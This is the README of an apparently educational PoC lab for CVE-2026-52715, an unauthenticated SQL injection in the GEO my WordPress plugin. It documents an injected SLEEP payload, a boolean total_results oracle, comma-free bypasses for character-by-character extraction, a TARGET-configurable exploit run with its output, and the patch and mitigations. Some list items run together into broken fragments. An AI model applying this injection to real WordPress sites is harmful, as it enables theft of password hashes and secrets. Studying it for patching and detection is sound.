
기능하는 CVE-2026-52715 (GeoLeak) PoC: swlatlng/nelatlng를 통한 GEO my WordPress <= 4.5.5의 비인증 SQLi. Docker 랩 + 시간 기반/불리언 기반 exploit + 페이로드에 쉼표가 없는 데이터 유출.
GeoLeak(CVE-2026-52715)에 대한 교육용 Proof of Concept으로, WordPress용 GEO my WordPress <= 4.5.5 플러그인의 인증되지 않은 SQL 인젝션(CVSS 9.3)입니다. 지도 경계의
swlatlng및nelatlng파라미터가 WHERE 절에 검증 없이 그대로 삽입됩니다. 자체 포함 Docker 랩 + time-based, boolean-based 및 문자 단위 유출 기법을 사용하는 익스플로잇입니다.
CVE-2026-52715는 GEO my WordPress 플러그인의 gmw_get_locations_within_boundaries_sql() 함수에 존재하는 SQL 인젝션(CWE-89)으로, 모든 <= 4.5.5 버전에 영향을 미치며 4.5.5.1(2026년 6월 15일)부터 패치되었습니다. 연구자 alvarodh5가 발견했으며 Patchstack을 통해 공개되었습니다.
GeoLeak라는 이름의 이 공격 체인은 [gmw] 단축 코드가 포함된 임의의 공개 페이지에 대한 읽기 액세스만으로 공격자가 다음을 수행할 수 있음을 보여줍니다:
swlatlng(또는 nelatlng) 파라미터를 통해 임의의 SQL을 주입합니다.wp_gmw_locations에 대한 INNER JOIN의 각 행마다 평가되는 SLEEP()(time-based blind)로 측정 가능한 지연을 강제합니다."total_results":N 오라클을 사용하여 불리언 조건을 추론합니다(boolean-based blind).explode(',', ...)로 값을 분할)을 CASE WHEN 및 SUBSTRING(x FROM n FOR 1)을 사용하여 우회하고 데이터베이스 전체를 문자 단위로 유출합니다.결과적으로 WordPress 데이터베이스에 대한 임의 읽기가 가능합니다: wp_users 테이블(비밀번호 해시), 구성 옵션, 키, 플러그인에 저장된 타사 데이터.
PoC에서는 GET 요청만으로 MariaDB VERSION()의 전체 추출을 검증합니다.
이 저장소는 엄격히 교육 및 방어 목적의 자료를 포함합니다.
┌─────────────────────────────────────────────────────────────────────┐
│ 1. Peticion publica sin autenticar │
│ GET /?page_id=5&form=1&action=fs&swlatlng=<payload>&nelatlng=… │
│ pagina publica con shortcode [gmw form="1"] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. GMW_Form::set_default_values() │
│ action=fs => formulario marcado como enviado │
│ get_form_values() toma $_SERVER['QUERY_STRING'] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. gmw_get_form_values() (gmw-functions.php:512) │
│ parse_str($query_string, $output) sin lista de permitidos │
│ $output['swlatlng'] llega intacto │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. parse_query_args() (class-gmw-form-core.php:794) │
│ gmw_swlatlng / gmw_nelatlng copiados a los argumentos de busqueda│
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669) │
│ $sw = explode(',', $southwest); │
│ "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )" │
│ interpolacion directa: sin prepare, sin validacion │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. WP_Query -> $wpdb->get_results() │
│ SQL: ... AND ( gmw_locations.latitude BETWEEN │
│ 1 AND SLEEP(5) AND 40.416775 AND 41 ) ... │
│ respuesta retardada 5s / total_results = oraculo │
└─────────────────────────────────────────────────────────────────────┘
curl 및 awkdocker-compose.yml에서 매핑 변경)POC-GeoLeak-CVE-2026-52715/
├── docker-compose.yml WordPress 6.8 (PHP 8.2) + MariaDB 11
├── docker/
│ ├── Dockerfile Imagen WP + WP-CLI + entrypoint del laboratorio
│ ├── lab-entrypoint.sh Arranque + siembra automatica en el primer boot
│ ├── seed.sh Instalacion WP, formulario, post geolocalizado
│ └── geo-my-wp/ Plugin GEO my WordPress 4.5.5 (codigo vulnerable)
├── poc/
│ └── poc.sh Exploit: time-based + boolean-based + exfiltracion
├── docs/
│ ├── analisis-tecnico.md Cadena completa request -> SQL, con codigo
│ └── diff-parche-4.5.5.1-gmw-functions.php.diff Parche oficial real
├── LICENSE
└── README.md
# 1. Levantar el laboratorio (primer arranque: 60-90 s)
docker compose up -d --build
# 2. Comprobar que la siembra termino
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo
# 3. Ejecutar la PoC
./poc/poc.sh
# 4. Destruir el laboratorio
docker compose down -v
익스플로잇의 구성 가능한 파라미터:
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh
WordPress 접속: http://localhost:3080, 자격 증명 admin/admin. 취약한 양식이 있는 페이지는 http://localhost:3080/?page_id=5입니다.
참고:
wp_gmw_locations의 시드 행은 필수입니다. 쿼리는 해당 테이블에 대해 INNER JOIN을 사용하므로 행이 없으면 주입된 WHERE가 평가되지 않아SLEEP()가 지연을 일으키지 않습니다.
실험실에 대한 마지막 실행의 실제 출력(2026년 8월 14일):
$ ./poc/poc.sh
===================================================
CVE-2026-52715 | GEO my WordPress <= 4.5.5
SQLi no autenticada via swlatlng/nelatlng
Objetivo: http://localhost:3080
===================================================
[*] Prueba time-based (SLEEP 5s)...
Peticion benigna : 0.037000s
Payload SLEEP : 5.034984s
[+] VULNERABLE: retardo de 5.034984s confirma la inyeccion SQL
[*] Prueba boolean-based (oraculo total_results)...
Condicion TRUE -> total_results=1
Condicion FALSE -> total_results=0
[+] VULNERABLE: el numero de resultados depende de la condicion inyectada
[*] Extraccion de VERSION() caracter a caracter...
[+] VERSION() = 11.8.8-MariaDB-ubu2404
[*] PoC completado
데이터베이스에 대한 직접 교차 검증:
$ docker exec cve-2026-52715-db mariadb -u wordpress -pwordpress wordpress \
-N -e "SELECT VERSION();"
11.8.8-MariaDB-ubu2404
패치된 버전(>= 4.5.5.1)에서는 time-based 단계가 밀리초 단위로 응답하며 PoC는 [-] No se detecto retardo (objetivo posiblemente parcheado >= 4.5.5.1) 메시지와 함께 종료됩니다.
전체 세부 정보와 코드 조각 및 정확한 줄 번호는 docs/analisis-tecnico.md에 있습니다. 주요 사항:
gmw_get_locations_within_boundaries_sql()은 {$sw[0]}, {$sw[1]}, {$ne[0]}, {$ne[1]}을 WHERE 절에 직접 삽입합니다(네 지점 모두 주입 가능).gmw_get_form_values()는 허용 목록 없이 parse_str()로 전체 query string을 처리합니다.explode(',', $southwest)를 수행하므로 payload에는 쉼표를 포함할 수 없습니다. PoC는 IF(a,b,c) 대신 CASE WHEN a THEN b ELSE c END를, SUBSTRING(x,n,1) 대신 SUBSTRING(x FROM n FOR 1)을 사용합니다."total_results":N을 노출합니다. 익스플로잇은 조건이 참일 때 시드 행이 유지되도록 길이 범위()를 보정합니다.전체 실제 diff는 docs/diff-parche-4.5.5.1-gmw-functions.php.diff에 있습니다. 4.5.5와 4.5.5.1 사이에는 세 개의 파일만 다릅니다(버전용 geo-my-wp.php, 변경 로그용 readme.txt, includes/gmw-functions.php):
gmw_parse_latlng_boundary() 추가: |lat| <= 90 및 |lng| <= 180인 정확히 2개의 유한 숫자 부분을 요구합니다.gmw_get_form_values()는 검증되지 않은 값을 unset()으로 폐기합니다.$wpdb->prepare()와 %f 플레이스홀더를 사용하도록 다시 작성됩니다.현재 플러그인 버전: 4.5.5.3(2026년 7월), 패치 적용됨.
swlatlng/nelatlng에서 숫자가 아닌 값을 차단하는 WAF 규칙 또는 가상 패치(Patchstack 등) 적용.[gmw] 양식에 지도 경계 검색이 실제로 필요한지 검토.swlatlng/nelatlng 패턴이 포함된 액세스 모니터링.wp_users 해시 재검토 — 인젝션으로 해당 해시를 읽을 수 있습니다.-10..1wp_posts.* 열과 gmw 필드를 맞춰야 함), error-based는 실용적이지 않습니다(wpdb가 오류를 침묵시키기 때문).wp_ajax_nopriv_* 핸들러는 SQL을 실행하지 않거나(무료 버전) nonce로 보호됩니다. 무료 버전에서 CVE의 공격 벡터는 양식의 GET 요청입니다.